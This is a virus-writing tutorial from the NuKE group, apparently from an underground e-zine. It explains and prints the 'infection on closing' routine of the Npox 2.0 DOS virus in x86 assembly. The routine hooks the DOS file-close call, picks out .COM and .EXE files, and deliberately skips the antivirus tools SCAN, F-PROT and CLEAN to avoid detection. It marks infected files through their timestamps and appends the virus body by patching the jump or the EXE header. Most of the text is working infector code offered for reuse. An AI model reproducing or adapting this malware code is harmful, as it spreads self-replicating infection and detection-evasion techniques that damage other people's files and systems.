Infection on Closing
By: Rock Steady / NuKE

This routine goes out for a few people that had trouble hacking this routine themselves... I kinda like it, its my very OWN, no Dark Avenger hack, it is VERY straight forward, and kinda simple...I was not going to put this here, but since I `Promised' people and left them hanging with `Wait for IJ#5, I guess I owed you it... huh?'

Again this code comes right out of Npox 2.0, its need, simple fast, cool, and it works, Npox is your example, I heard MANY MANY complaints with other `Virus writing guides' Meaning they explained the code but sometimes the arthur himself never check if the code was good, as he may have modified it, and not test it... or whatever reason... Anyhow

Okay once you intercepted the Int21h/ah=3Dh function you make it jump here...

>     closing_file:   cmp     bx,0h                   ;Handle=0?
>                     je      closing_bye             ;if equal leave
>                     cmp     bx,4h                   ;Handle < 4
>                     ja      close_cont              ;if YES ,then JUMP!
>     closing_bye:    jmp     dword ptr cs:[int21]    ;Leave, no interest to us

The whole point of the above code is that DOS contains 5 predefined Handlers, 0 -< 4, Basically, those handles are the NULL, CON, AUX COMx, LPTx handles... So we surely do not need to continue once we encounter that...

>     close_cont:     push    ax
>                     push    bx
>                     push    cx
>                     push    dx
>                     push    di
>                     push    ds
>                     push    es
>                     push    bp

Our biggest problem is how do we know if this file is a .COM or .EXE or simply just another dumb data file? We need this info before we can try to infect it... We do this by getting DOS's "Lists of List" this will give us all INFO need on the File Handle Number we have in BX! and we do that like so...

>                     push    bx                      ;Save File Handle
>                     mov     ax,1220h                ;Get the Job File Table
>                     int     2fh                     ;(JFT)

This will give us the JFT for the CURRENT File handle in BX, which is given thru ES:DI Then we use this information to get the Address of the System File Table!

>                     mov     ax,1216h        ;Get System File Table (List)
>                     mov     bl,es:[di]      ;system file table entry number
>                     int     2fh
>                     pop     bx              ;restore the Handle

>                     add     di,0011h
>                     mov     byte ptr es:[di-0fh],02h

>                     add     di,0017h                ;Jump to the ASCIIZ string
>                     cmp     word ptr es:[di],'OC'   ;Is it a .COM file?
>                     jne     closing_next_try        ;Next cmp...
>                     cmp     byte ptr es:[di+2h],'M'
>                     jne     pre_exit                ;Nope exit
>                     jmp     closing_cunt3           ;.COM file continue

>     closing_next_try:
>                     cmp     word ptr es:[di],'XE'   ;Is it a .EXE file?
>                     jne     pre_exit                ;No, exit
>                     cmp     byte ptr es:[di+2h],'E'
>                     jne     pre_exit                ;No, exit

If it is an .EXE file, check if it is F-PROT or SCAN, see F-PROT when started up, Opens itself, closes itself, etc... So that a dumb virus will infect it, and then the CRC value changes and F-PROT screams... haha... Fuck-Prot! is the name...

>     closing_cunt:   cmp     word ptr es:[di-8],'CS'
>                     jnz     closing_cunt1              ;SCAN
>                     cmp     word ptr es:[di-6],'NA'
>                     jz      pre_exit

>     closing_cunt1:  cmp     word ptr es:[di-8],'-F'
>                     jnz     closing_cunt2              ;F-PROT
>                     cmp     word ptr es:[di-6],'RP'
>                     jz      pre_exit

>     closing_cunt2:  cmp     word ptr es:[di-8],'LC'
>                     jnz     closing_cunt3
>                     cmp     word ptr es:[di-6],'AE'    ;CLEAN
>                     jnz     closing_cunt3

>     pre_exit:       jmp     closing_nogood

The REST is pretty much the EXACT same on `how' you'd infect a normal file, I'll leave it for you to go thru it... The hardest part is OVER! Only trick part is, the ending... Remember to Close the file and then do an IRET, you don't leave control to dos, as you only needed to close it, so do it... OR DON'T close it and return to DOS, as dos will close it, just DON'T CLOSE IT TWICE!!!!

>     closing_cunt3:  mov     ax,5700h                        ;Get file Time
>                     call    calldos21
>                     mov     al,cl
>                     or      cl,1fh
>                     dec     cx                              ;60 Seconds
>                     xor     al,cl
>                     jz      closing_nogood                  ;Already infected

>                     push    cs
>                     pop     ds
>                     mov     word ptr ds:[old_time],cx       ;Save time
>                     mov     word ptr ds:[old_date],dx

>                     mov     ax,4200h                        ;jmp beginning of
>                     xor     cx,cx                           ;file...
>                     xor     dx,dx
>                     call    calldos21

>                     mov     ah,3fh                          ;Get first 1b byte
>                     mov     cx,1Bh
>                     mov     dx,offset buffer
>                     call    calldos21

>                     jc      closing_no_good                 ;error?
>                     mov     ax,4202h                        ;Jmp to the EOF
>                     xor     cx,cx
>                     xor     dx,dx
>                     call    calldos21

>                     jc      closing_no_good
>                     cmp     word ptr ds:[buffer],5A4Dh      ;.EXE file?
>                     je      closing_exe                     ;Yupe then jmp
>                     mov     cx,ax
>                     sub     cx,3h
>                     mov     word ptr ds:[jump_address+1],cx  ;Figure out the
>                     call    infect_me                        ;jmp for .com

>                     jc      closing_no_good
>                     mov     ah,40h                          ;Write it to file
>                     mov     dx,offset jump_address
>                     mov     cx,3h
>                     call    calldos21
>     closing_no_good:
>                     mov     cx,word ptr ds:[old_time]       ;Save file time
>                     mov     dx,word ptr ds:[old_date]       ;& date
>                     mov     ax,5701h
>                     call    calldos21

>     closing_nogood: pop     bp
>                     pop     es
>                     pop     ds
>                     pop     di
>                     pop     dx
>                     pop     cx
>                     pop     bx
>                     pop     ax
>                     jmp     dword ptr cs:[int21]

AS you see the above, we DIDN'T close the file, so we leave dos to do it. The bottom is for infecting .exes...

>     closing_exe:    mov     cx,word ptr cs:[buffer+20]      ;Save the original
>                     mov     word ptr cs:[exe_ip],cx         ;CS:IP & SS:SP
>                     mov     cx,word ptr cs:[buffer+22]
>                     mov     word ptr cs:[exe_cs],cx
>                     mov     cx,word ptr cs:[buffer+16]
>                     mov     word ptr cs:[exe_sp],cx
>                     mov     cx,word ptr cs:[buffer+14]
>                     mov     word ptr cs:[exe_ss],cx

>                     push    ax
>                     push    dx
>                     call    multiply
>                     sub     dx,word ptr cs:[buffer+8]
>                     mov     word ptr cs:[vir_cs],dx
>                     push    ax
>                     push    dx
>                     call    infect_me
>                     pop     dx
>                     pop     ax
>                     mov     word ptr cs:[buffer+22],dx
>                     mov     word ptr cs:[buffer+20],ax
>                     pop     dx
>                     pop     ax
>                     jc      closing_no_good

>                     add     ax,virus_size
>                     adc     dx,0

>                     push    ax
>                     push    dx
>                     call    multiply
>                     sub     dx,word ptr cs:[buffer+8]
>                     add     ax,40h
>                     mov     word ptr cs:[buffer+14],dx
>                     mov     word ptr cs:[buffer+16],ax
>                     pop     dx
>                     pop     ax

>                     push    bx
>                     push    cx
>                     mov     cl,7
>                     shl     dx,cl

>                     mov     bx,ax
>                     mov     cl,9
>                     shr     bx,cl

>                     add     dx,bx
>                     and     ax,1FFh
>                     jz      close_split
>                     inc     dx
>     close_split:    pop     cx
>                     pop     bx

>                     mov     word ptr cs:[buffer+2],ax
>                     mov     word ptr cs:[buffer+4],dx

>                     mov     ah,40h
>                     mov     dx,offset ds:[buffer]
>                     mov     cx,20h
>                     call    calldos21

>     closing_over:   jmp     closing_no_good

>     ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
>     ;                   Infection Routine...
>     ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
>     infect_me       proc
>                     mov     ah,40h
>                     mov     dx,offset init_virus
>                     mov     cx,virus_size
>                     call    calldos21

>                     jc      exit_error                      ;Error Split
>                     mov     ax,4200h
>                     xor     cx,cx                           ;Pointer back to
>                     xor     dx,dx                           ;Top of file!
>                     call    calldos21

>                     jc      exit_error                      ;Split Dude...
>                     clc                                     ;Clear carry flag
>                     ret
>     exit_error:
>                     stc                                     ;Set carry flag
>                     ret
>     infect_me       endp

Desperation/MOB